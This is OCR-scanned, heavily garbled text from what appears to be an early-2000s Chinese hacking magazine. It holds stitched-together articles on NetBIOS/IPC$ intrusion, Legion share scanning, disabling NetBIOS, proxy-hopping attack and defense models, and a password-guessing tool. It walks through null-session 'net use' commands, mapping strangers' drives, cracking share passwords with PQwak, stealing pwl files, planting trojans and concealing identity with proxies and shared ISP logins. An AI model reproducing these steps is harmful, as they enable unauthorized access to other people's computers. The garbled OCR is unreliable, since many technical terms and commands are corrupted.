NetBIOS API, 只 是 用 TCPZIP 作为 其 传送 协议 , 并 同

时 支持 NetBIOS 的 名 称 与 名 称 解 析 。

在 你 安装 TCP/ 瑟 协议 时 ,NetBIOS 也 被 Windows

作为 默认 设置 载 人 了 你 的 电脑 , 而 电脑 随即 也 具有 了

NetBIOS 本 身 的 开放 性 。 换 句 话 讲 ,在 不 知 不 觉 间 ,你

的 上 网 电脑 已 被 打开 了 一 个 危险 的 “后 门 ”。 这 个 后 门

文 /小 蓉

可 以 泄漏 你 的 信息 :你 的 计算 机 名 和 工作 组 。 事 实 上 ,

有 许多 人 会 用 自己 的 真实 姓名 做 计算 机 名 称 , 还 有 自

己 的 单位 名 字 作为 工作 组 , 这 样 很 容易 根据 某 个 人 的

固定 信息 找到 某 个 人 的 耳 地 址 。 这 类 软件 有 冯 志 寥

先生 的 月 光 搜 索 一 一 追捕 版 , 用 它 来 搜索 , 速度 是 非

常 快 的 。 其 实 ,就 是 用 Windows 自 带 的 nbtstat 命令 也

能 收集 到 很 多 信息 。

再 有 , 这 个 后 门 可 能 让 对 方 访问 到 你 的 计算 机 里

的 文件 ! 先 说 说 Win9x。 如 果 你 的 共享 资源 没有 加 上

口令 的 话 , 那么 全 世界 的 人 都 可 以 共享 了 。 偏 偏 有 很

多 人 的 硬盘 都 是 完全 共享 ,一 个 口令 也 不 加 , 就 算 设 :

置 为 只 读 也 能 读 取 计算 机 里 的 pwl 密码 文件 , 然后 得

到 你 的 密码 或 你 的 私人 文件 。 再 说 说 NT, 这 号 称 C2

级 别 的 操作 系统 连 上 网 后 就 不 再 是 C2 级 别 了 ! 虽然

NT 有 安全 机 制 ,但 是 如 果 管 理 员 有 薄弱 的 密码 ,通过

NetBIOS 获得 用 户 名 就 可 以 利用 IPC$ (进程 间 通 信 )

进行 攻击 。IPC$ 共 享 是 NT 主机 上 一 个 标准 的 隐藏 共

享 , 主 要 用 于 服务 器 到 服务 器 的 通信 。NT 主机 用 来 互

相连 接 并 通过 这 个 共享 来 获得 各 种 必要 的 信息 。 通 过

连接 这 个 共享 , 就 能 够 实现 与 NT 服务 器 的 有 效 连

接 。 通 过 与 这 个 共享 的 空 连接 , 你 就 能 够 在 不 需要 提

供 任何 身份 证 明 的 情况 下 建立 这 一 连接 。 要 与 IC

$ 共 享 进 行 空 连接 , 人 侵 者 会 在 命令 提示 符 下 发 出 如

下 命令 ;

c: \> net use\\ [目标 主机 的 卫 地 址 ]\ ipc 种 2”/

user: ”” 如 果 连 接 成 功 , 网 络 人 侵 者 就 会 有 很 多 事情

可 做 ,可 不 仅仅 只 是 收集 用 户 列表 哦 。

在 互联 网 上 有 许多 用 来 寻找 这 样 的 “后 门 ”的 程

序 , 较 有 名 的 有 legion 2. 1、shed、 网 络 刺 客 I、SMB-

Scanner 等 , 其 实 只 要 有 个 扫描 器 , 扫描 139 端口 (139

端口 是 “NetBIOS session” 端口 , 用 来 进行 文件 和 打印

共享 的 , 如 果 你 的 网 络 设置 有 NetBIOS 这 个 协议 的

话 ,139 端口 就 会 打开 ) 就 有 可 能 人 侵 成 功 ! 即使 不 一

定 会 人 侵 成 功 , 但 利用 139 这 个 端口 进行 下 攻 击 却

是 完全 可 能 的 , 很 久 以 前 就 有 这 样 的 程序 了 , 没有 打

过 补丁 的 WIN98 不 出 1 秒 钟 保证 会 蓝屏 , 在 30 秒 内

死机 !

一 、NetBIOS 入 侵 实 例

为 了 让 大 家 进一步 了 解 NetBIOS 服务 开放 的 和 危

险 , 我 们 以 legion2. 1 来 看 看 人 侵 者 是 如 何 通过 Net-

BIOS 进行 人 侵 的 。

Legion 是 著名 的 安全 组 织 Rhino9 推出 的 一 款 针

对 WIN9X 的 人 鼻 瓜 级 Hack 软件 ,简单 易 用 。 它 的 出 现 ,

使 得 一 个 即便 是 对 网 络 安全 知识 了 解 的 不 多 的 人 也

能 过 一 把 黑客 瘾 , 可 以 轻松 进入 别人 的 电脑 ! 为 了 加

强大 家 的 网 络 安全 意识 , 做 到 知已 知 彼 , 今天 就 为 您

:介绍 一 下 如 何 利 用 这 个 软件 来 查找 共享 主机 。

从 网 上 下 载 回 来 的 Legion 是 . ZIP 压缩 文件 , 解

压 后 得 到 主 文 件 legion. exe, 文 件 大 小 为 173K, 我 手

头 上 的 这 个 是 2. 1 汉化 版 。 运 行 legion. exe, 出 现 如 图

所 示 画 面 (图 1) 。 主 窗口 中 只 有 两 个 菜单 选项 , 可 以

图 1

通过 它们 得 到 这 个 软件 的 帮助 和 版 权 信 息 。Legion 的

主要 功能 都 在 主 界面 里 ,在 “扫描 类 型 "下 有 两 个 单 选

框 (图 2) ,一 个 是 “扫描 范围 ,用 来 扫描 一 段 耳 地 址 ,

Legion Y2. 1 最 多 一 次 能 扫描 64 个 C 类 下地 址 ; 另 一

个 是 “扫描 列表 ”, 可 以 导 和 人 事先 准备 好 的 卫 地 址 列

表 , 这 个 卫 地 址 列表 必须 是 文本 文件 , 且 必 须 一 个 下

地 址 占 一 行 。 你 也 可 以 在 主 界面 右面 的 “扫描 列表 ”下

面 的 文本 框 中 直接 输入 卫 地 址 , 然后 点 击 “ADD” 将

这 个 下 地 址 加 入 。 如 果 你 想 扫描 不 在 一 个 卫 段 的 几

个 卫 地 址 , 可 以 采用 这 种 方法 ,否则 不 要 用 , 不 然 光

是 手工 输入 卫 地 址 ,就 会 使 一 个 革命 同志 累 倒 的 !

在 连接 速度 下 面 共 有 “更 慢 、28. 8K、56K、 更 快 ”

四 个 单 选 框 (图 3) 。 根 据 你 的 网 速 情况 选 一 个 吧 ! 怎

么 选 ? 你 的 上 网 速度 如 果 大 于 56K( 羡 诡 啊 ) , 就 选择

更 快 "按钮 ;如 果 上 网 速度 小 于 56K 且 不 小 于 28. 8K

(好 惨 啊 ), 就 选 28. 8SK 对 应 的 单 选 框 , 这 也 是 软件 默

认 的 连接 速度 ;什么 ? 你 的 懒 猫 速度 小 于 28. 8K, 那 只

能 选 "更 慢 " 了 ;使 用 56K 小 猫 的 选 哪个 单 选 框 就 不 用

我 说 了 吧 ?

图 3

在 主 界面 的 下 面 ,还 有 “ 耿 射 共 享 ” 和 “保存 正文 ”

两 个 按钮 (图 4) , 在 没有 找到 共 常 主机 时 , 它们 都 是

灰色 不 可 用 状态 。 当 你 扫描 到 一 个 共享 资源 ,Legion

v2. 工 允许 你 把 它 映 射 成 一 个 网 络 驱动 器 , 你 可 以 像

本 地 硬盘 一 样 使 用 远程 网 络 驱动 器 。 如 果 共 享 资源 被

设置 了 密码 , 那么 连接 将 失败 ; “保存 正 文 ” 是 用 来 保

存 搜索 到 的 结果 用 的 , 它 将 结果 保存 为 一 个 文本 文

件 。

图 4

好 了 ,, 功能 和 界面 已 经 给 您 介绍 完了 , 下 面 我 们

开始 行动 吧 ( 台 下 掌声 雷动 ,群情 激 奋 )! 哦 ,等 等 , 开

始 前 我 先 交 等 几 句 (顿时 小 鞠 成 为 快乐 的 农民 了 一 一

台 下 观众 扔 给 的 西红柿 .茄子 收 了 整整 五 大 人 复 ! )。

1. 在 “扫描 范围 ”内 填 人 一 段 C 类 地 址 (192 ~

223) 会 快 一 些 。 如 果 你 非 要 扫 了 B 类 (128 ~ 191) , 那 我

相信 也 会 有 结果 的 一 一 中 国 男 足 夺 得 世界 杯 的 那 一

天 就 是 你 胜利 的 时 刻 !

2. 如 果 你 所 处 的 地 方 线路 情况 不 好 , 尽 管 你 有

一 个 56K 的 猫 ,但 扫描 的 速度 和 选 “28. 8K” 时 差别 并

不 会 很 明显 , 这 时 选 “28. 8SK" 时 的 漏网 现象 会 更 少 一

3. 在 运行 Legion 的 时 候 , 最 好 不 要 运行 其 它 的

应 用 程序 。

以 上 三 条 都 是 经 验 之 谈 , 如 果 你 已 经 用 上 了 帘

带 ,那么 就 当 我 前 面 什么 都 没 说 。

在 “输入 开始 瑟 " 和 “输入 结束 下 " 栏 中 输入 要 扫

描 的 卫 范 围 , 如 : 61. 159. 83. 1 到 61. 159. 83. 255 , 点

击 “ 扫 描 ” 按 钮 , Legion 就 开始 扫描 在 这 个 网 段 上 的 共

享 主机 了 (图 5) 。 此 时 , 默念 十 遍 “芝麻 , 芝麻 , 开门

吧 ” 是 非常 有 必要 的 ,这 本 来 是 我 不 传 之 秘 哦 ! 如 果 在

图 5

搜索 范围 内 的 某 一 台 机 器 的 硬盘 被 设置 为 “共享 ”的

话 ,Legion 便 会 显示 出 这 人 台 机 器 的 瑟 地 址 以 及 共享

资源 状况 。 如 果 你 看 到 类 似 \\ 123. 123. 123. 123\ ce

或 \\123. 123. 123. 123\d 这 样 的 形式 , 这 说 明 找 到 的

是 共享 了 整个 C 盘 和 DT 盘 的 主机 。 在 找到 的 耳 列表

中 任 选 一 个 ,点 击 “ 映 射 共 享 ”, 就 会 弹出 一 个 窗口 , 提

示 你 \\IP\C 已 经 被 映射 成 G 或 者 其 他 盘 符 了 (就 是

你 系统 中 最 后 一 个 逻辑 盘 符 的 下 一 个 盘 符 )。 此 时 你

可 以 在 “我 的 电脑 ”中 发 现 这 个 多 出 来 的 盘 符 ,这 时 你

就 可 以 像 操 作 本 地 硬盘 一 样 来 控制 这 个 网 络 驱动 器

了 ,对 其 中 的 文件 是 删除 改名 ,还 是 拷贝 都 随 你 了 。

当然 这 一 切 的 前 提 是 远 端 共享 设备 没有 密码 保护 , 如

果 远 端 共享 设备 被 密码 保护 , 那么 便 会 出 现 尝试 失败

的 提示 (图 6)。

如 果 对 方 是 完全 共 蚤 , 假设 主机 123. 123. 123,

123 的 C 盘 是 完全 共享 的 ,那么 你 还 可 以 点 击 “开始 ”

一 “和 运行”, 在 弹出 的 运行 对 话 框 中 输入 人

123. 123. 123. 123 \e\, 注意 , 不是“C:”, 然 后 回 车 , 接

着 是 等 待 , 这 时 就 要 看 你 的 连接 速度 了 ,, 一 般 不 会 超

过 30 秒 , 完 成 后 将 出 现 一 个 带 共享 名 的 文件 夹 , 打开

这 个 文件 夹 , 进去 看 看 , 哇 ! 全 是 MP31! 原来 是 个 歌

迷 。 用 这 种 方法 对 设置 了 访问 密码 的 也 会 出 现 尝 试 失

败 的 提示 。 你 也 可 以 在 Windows 的 MS - DOS 窗口 下

输入 net view \\123. 123. 123. 123 来 试 试 , 看 看 能 看

出 什么 ?如果 你 有 所 发 现 , 那 就 可 以 再 用 net use G:

\\123. 123. 123. 123\C 命令 , 接着 再 用 net use 命令 ,

你 会 发 现 你 已 经 把 他 的 C 盘 上 映射 为 自己 的 G 盘 了 !

对 于 设置 了 访问 密码 的 共享 主机 , 其 实 也 是 有 机

会 进入 的 。 你 可 以 在 MS - DOS 下 ,输入 如 下 的 命令 :

nbtstat -A IP, 记 住 其 中 的 NetBIOS name, 然 后 下 载

PQwak 软件 (http: / /www. cners. comVtools/PQwak.

exe), 运 行 PQwak, 出 现 图 示 窗 口 (图 7)。 在

图 7

“NBNAME” 栏 中 输入 nbtstat 命令 中 显示 的 NetBIOS

name, 在 “SHARE” 栏 中 输入 受 密码 保护 的 共享 文件 夹

名 , 在 “IP” 栏 里 输入 那个 需要 访问 密码 的 主机 的 卫

地 址 , 最 后 设置 “DELAY” 值 , 此 时 就 要 看 你 的 连接 方

式 了 ,如 果 你 用 的 是 56k 的 小 猫 , 那么 建议 你 把 DE-

LAY 设置 在 1000 - 2000 之 间 , 如 果 你 用 ADSL 的 话 ,

建议 输入 800 - 900 之 间 一 值 。 现 在 开始 祈祷 ,因为 你

是 要 花费 一 番 功 夫 才 有 可 能 破解 出 密码 的 , 特别 是 复

杂 密 码 更 要 花费 很 长 时 间 , 如 果 对 方 不 是 专线 或 长 时

闻 上 网 的 用 户 ,在 你 做 了 那么 多 努力 后 ,他 却 下 线 了 ,

岂 不 是 很 令 人 恼火 ? PQwak 运算 完成 后 返回 到 受 密码

保护 的 共享 文件 夹 ,双击 它 , 当 提 示 要 网 络 密码 时 ,将

PQwak 里 的 密码 拷贝 下 来 , 再 粘贴 到 密码 对 话 框 , 然

后 你 就 可 以 …… 注 意 :如 果 你 运行 PQwak 后 出 现 “the

password is a ”or the password is wrong”, 请 将 DELAY

数值 调 高 。

好 了 ,怎样 利用 Legion 搜寻 共享 主机 你 已 经 知道

了 吧 。 要 说 明 的 是 此 软件 只 对 双 IN9X 系统 起 作用 ,并

且 远 程 主机 文件 系统 必须 设置 成 共享 且 无 口令 保

护 。 不 过 于 万 不 可 因此 小 视 其 危害 性 ,现在 一 些 网 吧 、

单位 中 为 了 方便 文件 的 交流 , 常常 会 把 文件 系统 设 成

共享 , 这 就 很 容易 让 不 法 分 子 找到 可 乘 之 机 。 如 果 有

人 利用 Legion 侵入 你 的 共享 主机 , 并 把 C: \windows'\

下 的 所 有 pwl 文件 拷贝 到 自己 的 机 器 上 , 用 pwltools

这 个 软件 是 很 容易 看 到 你 的 密码 的 ! 如 果 这 个 人 侵 者

还 在 系统 中 放置 了 一 个 特 洛 依 林 马 程序 (什么 ? 不 是

一 个 , 是 一 群 木马 ! 嘿嘿 , 成 养 马场 了 ) , 比 如 net-

spy3. 0、 网 络 公牛 或 网 络 神偷 等 ,那么 以 后 这 人 台 机 器

就 会 被 人 玩弄 于 股 掌 之 间 ! 尤其 是 网 络 神偷 可 是 国内

第 一 个 “反弹 端口 ?型 木马 , 目前 任何 杀毒 防 黑 软 件 都

不 能 查 到 , 中 了 它 你 就 能 领略 到 目前 最 新 国产 木马 的

厉害 了 !

三 .关闭 NetBIOS 服务

现在 , 你 应 该 知道 NetBIOS 漏洞 有 多 人 么 危险 了

吧 ! 怎么 办 ? 当然 要 堵 住 这 个 漏洞 ! 如 前 所 述 , 在 安装

TCP/ 耻 协议 时 , NetBIOS 被 毫 无 必要 地 (对 于 我 们 这

些 一 般 用户 而 言 ) 一 起 装 上 了 , 或 者 说 NetBIOS 被 捆

绑 在 TCPZIP 上 了 。 我 们 要 做 的 就 是 将 NetBIOS 从

TCP/ 了 上 解 下 来 !

(一 ) 对 于 最 早 的 Win95 用 户

如 果 你 使 用 的 是 最 早 版 本 的 Win95, 那 关 闭 Nef-

BIOS 就 是 一 件 非 常 容 易 的 事 : 找到 系统 里 名 为

Vnbt. 386 的 文件 ,随便 将 它 改 个 名 ,如 改 为 Vabt out,

这 就 算 大 功 告 成 了 。

(二 )Win95 改进 版 .Win9x 或 是 WinMe 用 户

对 于 Win95 改进 版 、Win9x 或 是 WinMe 用 户 可

采用 下 面 的 方法 :

1. 检查 NetBEUI 是 否 出 现在 配置 栏 中 。 打 开 控

制 面 版 ,双击 “网 络 ? 选 项 ,打开 “网 络 ? 对 话 框 。 在 “ 配

置 ” 标 签 页 中 检查 已 安装 的 网 络 组 件 中 是 否 有 Ner-

BEUI。 如 果 没有 ,点 击 列表 下 边 的 添加 按钮 ,选中 * 网

络 协议 ”对话 框 ,在 制造 商 列表 中 选择 微软 ,在 网 络 协

议 列表 中 选择 NetBEUI。 点 击 确定 ,根据 提示 插 和 信安

装 盘 ,安装 NetBEUTI。

2. 回 到 “网 络 " 对 话 框 , 选中 “拨号 网 络 适配器 ”,

点 击 列表 右 下 方 “属性 ”按钮 。 在 打开 的 “属性 ?对 话 杠

中 选择 “ 绑 定 ”标签 页 , 将 除 “TCPZIP~* 网 络 适配器 ”

之 外 的 其 它 项 目前 复 选 框 中 的 对 匀 都 取消 。

3. 回 到 “网 络 " 对 话 框 ,选中 “TCP/ZIP 一 拨号 网 络

适配器 " 点击 列表 右 下 方 “属性 按钮, 不 要 怕 弹 出 的

警告 对 话 框 ,点 击 “ 确 定 "。 在 “TCP/IP 属性 ”对话 框 中

选择 " 绑 定 " 标 签 页 ,将 列表 中 所 有 项 目前 复 选 框 中 的

对 匀 都 取消 。 点 击 “ 确 定 ”, 这 时 双 indows 会 警告 你 “ 尚

未 选择 绑 定 的 驱动 器 。 现 在 是 否 选择 驱动 器 ? ”点 击

否 "。 之 后 ,系统 会 提示 重新 启动 计算 机 ,确认 。

4. 证 实 已 取消 绑 定 。 重 新 进入 “TCP/ 了 PP 一 拨号 网

络 适 配器 ”的 “TCPZIP 属性 ” 对话 框 , 选 定 “NetBIOS”

标签 页 , 看 到 “通过 TCPZIP 启用 NetBIOS” 项 被 清除

了 吧 ! 连 点 两 次 “取消 ?退出 “网 络 ?对 话 框 (不 要 点 “ 确

认 ”, 免 得 出 现 什么 意外 )。

(三 ) 对 于 WinNT 用 户

在 WindowsNT 下 你 也 可 以 取消 NetBIOS 与 TCP/

卫 协 议 的 绑 定 。 可 以 按 如 下 步骤 进行 点 击 “ 控 制 面

板 一 网 络 一 NetBIOS 接口 一 WINS 客户 (TCP/ 了 下) 一 禁

用 ”, 再 点 “确定 ”, 然后 重启 , 这 样 NT 的 计算 机 名 和

工作 组 名 也 隐藏 了 , 不 过 会 造成 基于 NetBIOS 的 一 些

命令 无 法 使 用 , 如 net 命令 等 。

(四 ) 对 于 Win2000 用 户

在 Win2000 下 不 采用 “文件 和 打印 共享 " 即 可 ,但

这 样 也 不 能 访问 别人 的 NetBIOS 了 。 有 没有 其 他 办 法

呢 ?

其 实 你 可 以 这 样 :在 “路 由 和 远程 访问 ”管理 工具

中 ,将 “JIP 路 由 选择 "中 “本 地 连接 ”的 属性 中 的 “输入

筛选 "设置 139 端口 关闭 就 行 了 。

以 上 的 方法 都 是 给 不 需要 接 人 局 域 网 的 计算 机

的 配置 方法 , 如 果 你 是 一 台 拨 号 上 网 的 单机 那么 完全

可 以 禁止 NetBIOS 服务 。 但 是 如 果 你 需要 接 人 局 域 网

的 话 , 那 你 只 能 注意 加 密 你 的 共享 资源 了 ,一 定 要 加

上 访问 口令 ! 和 否则 任何 有 点 经 验 的 人 都 可 以 通过 这 个

Windows 的 “后 门 ?到 你 的 计算 机 里 “跳舞 ”了 。

以 上 只 是 小 萝 的 抛砖引玉 之 言 , 欢迎 大 家 和 我 交

流 看 法 ,共同 提高 。 全

只 要 有 网 络 存在 的 一 天 , 黑客 与 网 管 之 间 的 斗争

就 永远 不 会 结束 ,黑客 主攻 , 利用 一 切 手段 找 出 系统

漏洞 ,获得 非法 权限 ,网管 主 守 , 尽 一 切 可 能 弥补 系统

漏洞 , 御 敌 国门 之 外 。 但 到 底 是 道 高 一 太 ,还 是 魔 高 一

丈 , 真 的 很 难说 清楚 , 本 文 就 网 络 安全 的 攻 与 防 之 间

写 出 一 些 自己 的 看 法 。

在 讲解 攻击 模型 之 前 , 我 们 先 简 单 了 解 一 下 局 域

网 与 Interet 之 闻 是 如 何 进行 数据 传输 的 (高手 可 以

略 过 ), 如 图 1 所 示 , 这 是 一 个 局 域 网 与 Intemet 通信

的 模型 。

局 域 网

连接 请 求

古人

192. 168. 0.2

192.1868.0.1 202.96. 96. 47 282. 98. 4 了 .56

图 1

其 中 ,A 是 客户 机 , B 是 代理 服务 器 , C 是 远程 主

机 , 当 局 域 网 中 的 客户 机 A 要 访问 Pnternet 上 的 远程

主机 C 时 , 它 必 须 获 得 服务 器 了 B 的 允许 , 而 且 A 与 C

之 闻 的 一 切 数据 交换 都 处 于 了 的 监控 之 下 。(B 的 监

控 主 要 是 通过 日 志 人 @ 来 实现 的 )。 局 域 网 的 下 分 配 比

较 特 殊 ,涉及 到 一 个 公有 耳 、. 私 有 耻 @ 的 问题 。 在 此

例 中 ,A 拥有 一 个 私有 下 192. 168. 0.2, 这 个 正在 理

论 上 只 用 于 局 域 网 寻 址 (为 什么 说 是 理论 上 呢 ? 因为

耳 其 骗 所 使 用 的 也 可 能 是 入 有 正 )。 因 此 , 当 A 要 访

间 Internet 上 的 远程 主机 C 时 ,只 能 通过 了 来 实现 ,如

图 1 所 示 ,B 有 两 个 下 :一 个 是 私有 下 ,192. 168. 0. 1,

用 于 与 局 域 网 上 的 主机 通信 , 一 个 是 公有 卫 ,

202. 96. 96. 47 , 用 于 与 Internet 上 的 主机 通信 , 当 服 务

器 B 的 入 有 卫 收 到 A 的 连接 请 求 并 经 过 验证 , 认 为

文 / 傅 斌 坎

小 编 寄 语 ; 这 是 一 篇 关于 黑客 如 何 安全 进行 攻

击 和 网 管 如 何 防范 黑客 的 基础 性 文章 , 简单 直观 , 正

适合 像 DIArTisT 这 样 的 菜鸟 黑客 兼 菜鸟 网 管 看 ……

C 是 可 以 访问 的 ntemet 主机 后 ,B 使 用 公有 耳 向 C

转达 A 的 连接 请 求 , 在 获得 确认 以 后 , A 与 C 即 可 进

行 数据 传输 了 , 但 是 A 的 数据 包 在 流 经 B 后 ,其 源 了

由 192. 168. 0. 2 变 为 202. 96. 96. 47。 当 C 收 到 数据

后 , 它 只 知道 数据 来 源 是 耳 为 202. 96. 96. 47 的 局 域

网 , 但 具体 是 局 域 网 中 的 哪 一 台 主 机 发 送 的 , 就 不 得

而 知 了 ,这 样 客 户 机 A 就 被 隐藏 了 。 这 个 原理 与 黑客

入 侵 有 什么 关系 呢 ? 好 , 现在 我 们 将 图 1 稍微 改动 一

下 ,请 看 图 2, 这 是 一 个 典型 的 利用 代理 服务 器 作为

跳板 进行 远程 攻击 的 模型 。 图 中 新 增 的 D 是 黑客 使 用

的 主机 , 它 准备 人 侵 远程 主机 C, 如 果 不 用 代理 服务

器 ,直接 对 C 进行 攻击 , 那 会 出 现 什么 情况 呢 ? 很 明显

C 只 要 查看 一 下 当前 连接 , D 的 I 马上 就 会 暴露 , 接

着 C 就 可 以 对 D 进行 网 络 扫描 , 从 而 获知 D 使 用 的

操作 系统 , 开 放 的 服务 , 所 处 的 地 理 位 置 和 他 的 ISP

等 ,然后 ,C 可 以 将 收集 到 的 信息 ,如 D 进行 攻击 时 的

耳 ,攻击 时 段 等 告诉 其 ISP ,要 求 协助 调查 ,C 在 ISP 处

办 理 上 网 手续 时 ,已 经 将 自己 的 姓名 、 家 庭 住址 、 邮

编 、 拨 号 的 电话 等 资料 告知 ISP 了 , 这 样 的 话 , ISP 只

要 根据 C 提供 的 资料 查找 拨号 日 志 , 找 到 D 的 拨号

电话 ,然后 ,按照 这 条 线索 就 会 发 现 C 的 详细 资料 ,所

以 ,这 不 是 一 种 安全 的 攻击 模式 。 那 么 ,通过 代理 服务

器 实施 攻击 的 情况 又 怎样 呢 ? 如 图 2 所 示 , 这 种 攻击

国王 GE 一 四

ISP L

202. 96. 47.56

192. 168.0.2 192. 168.8.1 202. 96. 96. 47

的 基本 原理 是 使 D 成 为 局 域 网 的 一 台 客 户 机 ,一 切 数

据 均 由 B 来 转发 , 相 应 地 , 数 据 的 源 地 址 也 会 由

202. 47. 23. 65 变 为 202. 96. 96. 47, 这 样 , 在 被 攻击 者

C 看 来 , 攻 击 是 由 服务 器 B 控制 下 的 局 域 网 发 出 的 ,

但 到 底 是 哪 台 主机 则 无 法 获知 ,D 从 而 很 好 地 被 隐藏

了 ,在 这 种 情况 下 ,要 找到 D 就 比较 麻烦 了 。 首 先 ,我

们 要 与 B 取得 联系 , 对 于 C 来 说 , B 的 卫 是 透明 的 ,

这 样 就 可 以 通过 IJ 找到 B 的 信息 ,进而 ,联系 上 B 的

网 管 ,然后 ,向 其 提供 入 侵 者 的 入 侵 信 息 , 让 其 协助 调

查 , 找到 D 的 瑟 ( 也 是 利用 日 志 功 能 ) , 一 旦 找到 D 的

真实 卫 , 就 可 以 通过 ISP 找到 入 侵 者 了 。 说 起 来 虽然

很 容易 , 但 真正 做 起 来 却 有 相当 的 难度 。 从 攻击 者 的

角度 来 看 , 基于 安全 的 原因 , 他 们 往往 会 采用 国外 的

代理 服务 器 或 使 用 多 重 代理 (数据 传输 流 经 多 人 台 代 理

服务 器 ) 实 施 攻击 。 这 样 ,抓获 入侵 者 的 难度 将 会 成 倍

地 增加 , 其 次 ,和信 侵 者 可 能 会 使 用 上 网 卡 或 通用 密码

上 网 实施 攻击 (很 多 ISP 都 提供 有 通用 密码 , 如 中 国

电信 的 163 网 可 以 用 用 户 名 为 163 , 密 码 为 163 来 上

网 ) , 采用 这 类 上 网 方式 不 用 去 ISP 处 开户 , 因此 , ISP

根本 无 法 得 知 谁 在 使 用 他 们 的 网 络 , 要 查询 的 话 也 只

能 从 拨号 电话 查 起 , 如 果 人 和 人 侵 者 使 用 的 电话 也 不 是 自

己 家 里 的 ,那么 ,对 于 查询 者 来 说 真是 一 场 蛋 梦 了 。 当

然 ,通过 IP 查询 入 侵 者 只 是 一 种 常规 的 方法 。 利 用 一

些 特殊 设备 进行 电子 追踪 可 以 比较 方便 地 查找 出 人

侵 者 ,但 是 ,这 种 设备 很 少见 ,一 般 都 是 公安 部 门 在 使

用 。

二 、 防 御 模 型

局 域 网 的 防御 模型 一 般 是 由 两 部 分 组 成 的 , 即 硬

件 部 分 的 路 由 器 、 代 理 服务 器 和 软件 部 分 的 日 志和 防

火 墙 软件 。 如 图 3 所 示 , 这 就 是 一 个 比较 典型 的 防御

模型 (我 们 仍旧 沿用 前 面 的 例子 )。

202. 96. 47. 56

202. 96. 96. 47 《 访问 控制 )

(CIP 包 过 涛

图 3

世 古 路 由 器 ,, 它 的 功能 是 对 下 包 进行 过 滤 选 择 ,

即 依据 系统 事 移 设 定好 的 过 滤 条 件 , 检查 数据 流 中 的

每 个 耳 包 ,根据 耳 包 的 源 地 址 目的 地 址 .以 及 包 所

使 用 的 端口 确定 是 否 人 允许 该 类 卫 包 通过 , 这 个 过 程

发 生 在 网 络 层 。 举 例 来 说 ,路 由 器 一 对 想 要 进入 局 域

网 的 耳 包 源 地 址 做 了 设 定 , 只 允许 源 地 址 是

100. 0. 0. 0 一 201. 96. 255. 255 的 卫 包 通 过 , 那 委 , 对

于 攻击 者 了 来 说 , 他 使 用 的 是 了 的 J 卫 202. 96. 96. 47

来 实施 攻击 的 , 这 个 耳 在 路 由 器 下 允许 通过 的 范围

之 外 ,因此 ,无 法 进 和 局域网。 现在 ,我 们 来 解释 一 下

什么 是 耳 散 骗 , 症 获 骗 的 原理 是 一 个 攻击 者 可 以 通

过 发 送 耳 源 地 址 属于 另 一 台 机 器 的 王 包 来 实施 攻

击 , 也 就 是 说 , D 无 须 通 过 B, 他 直接 只 要 修改 自己 的

下 包 的 源 地 址 , 比 如 , 将 202.47.23. 65 改 为

192. 168. 0. 2, 这 样 当 正 包 流 经 了 上 时 由 于 其 源 地 址 是

在 允许 通过 的 范围 之 内 , D 就 能 近 一 步 访 问 代 理 服务

器 C 了 (192. 168. 0. 2 是 个 私有 卫 , 在 这 里 它 用 作 IN-

TERNET 连接 ,这 就 是 我 在 攻击 篇 中 讲 到 的 为 什么 私

有 耳 用 于 局 域 网 连接 只 是 理论 上 的 说 法 )。C 的 作用

是 进行 访问 控制 和 日 志 记 录 , 如 前 例 , D 通过 IP 坎 骗

的 方式 绕 过 了 路 由 器 , 前 进 至 代理 服务 器 C,C 的 后

面 是 FTP 服务 器 、SMTP 服务 器 、DNS 服务 器 等 , 为 了

保护 这 些 服务 器 上 的 敏感 资料 ,网 管 使 用 用 户 名 、 密

码 的 机 制 赋予 不 同 访问 者 不 同 的 访问 权限 , 而 这 个 机

制 就 是 通过 在 代理 服务 器 要 求 输入 用 户 名 和 密码 的

方式 来 实现 的 。 当 然 , 在 大 多 数 情况 下 攻击 者 并 不 知

道 用 户 名 和 密码 , 这 时 他 们 就 会 用 各 种 手段 ,如 缓冲

溢出 密码 破解 、 网 络 监听 等 方法 来 获取 非法 权限 。 在

用 户 取 得 进入 的 权限 后 , 他 就 可 以 使 用 局 域 网 内 部 提

供 的 服务 。 然 而 , 攻击 者 在 局 域 网 中 进行 的 操作 都 被

系统 日 志 所 记录 , 也 就 是 说 攻击 者 的 一 举 一 动 都 在 系

统 的 监视 之 下 。 所 以 , 在 很 多 的 资料 中 都 提 到 了 日 志

的 重要 性 , 而 有 经 验 的 攻击 者 也 会 通过 修改 日 志 来 隐

藏 自己 的 攻击 痕迹 , 但 是 , 修改 日 志 需 要 ROOT 权限 ,

因为 ROOT 权限 是 一 种 无 限制 权限 , 可 以 对 系统 进行

最 大 限度 的 更 改 , 包括 修改 日 志 。 所 以 说 攻击 者 -一旦

获得 ROOT 权限 , 也 就 意味 着 局 域 网 被 完全 攻陷 了 。

这 也 是 我 们 不 能 完全 相信 日 志 的 原因 。

1. 日 志 对 于 局 域 网 的 安全 来 说 , 非常 重要 , 他 记

录 了 系统 每 天 发 生 的 各 种 各 样 的 事情 , 你 可 以 通过 它

来 检查 错误 发 生 的 原因 , 或 者 受到 攻击 时 攻击 者 留 下

的 痕迹 。 日 志 主 要 的 功能 有 :审计 和 监测 。 他 还 可 以 实

时 地 监测 系统 状态 ,监测 和 追踪 入 侵 者 等 等 。

我 们 以 UNIX 系统 为 例 , 它 有 三 个 主要 的 日 志 子

文 / 劲 刀 狂 三

溯 雪 是 小 榕 在 2000 年 开发 的 利用 ASP,CGCI 对 免

费 信箱 ,论坛 ,聊天 室 等 的 探测 , 主要 通过 猜测 生日 。

成 功率 可 达 60% - 70% 。 最 新 的 版 本 是 淹 雪 Beta7。

探测 生日 和 密码 大 家 一 定 都 会 了 , 笔者 看 到 这 个

既然 是 个 ASP,CGI 的 探测 器 , 当 然 就 可 以 探测 一 切

asp,cgi 所 提交 的 表单 。 下 面 劲 刀 狂 舞 举例 说 明 一 下

淹 雪 的 其 他 应 用 。

一 、 探 测 域名 注册 情况

注册 国际 域名 是 个 很 有 前 途 的 事情 ,但 是 你 不 可

能 有 时 间 查 询 所 有 你 想 要 注册 的 域名 。 我 们 就 可 利用

尖 雪 的 ASP,CGI 探测 功能 来 查询 我 很 想 要 的 域名 。

我 们 到 -一 个 提供 域名 WEB 查询 的 网 站 (例如 万 网 )。

首先 我 们 把 想 要 注册 的 域名 做 成 字典 , 用 . dic 的 扩

展 名 保存 。 字 幅 的 制作 可 以 利用 一 些 专门 的 字典 制作

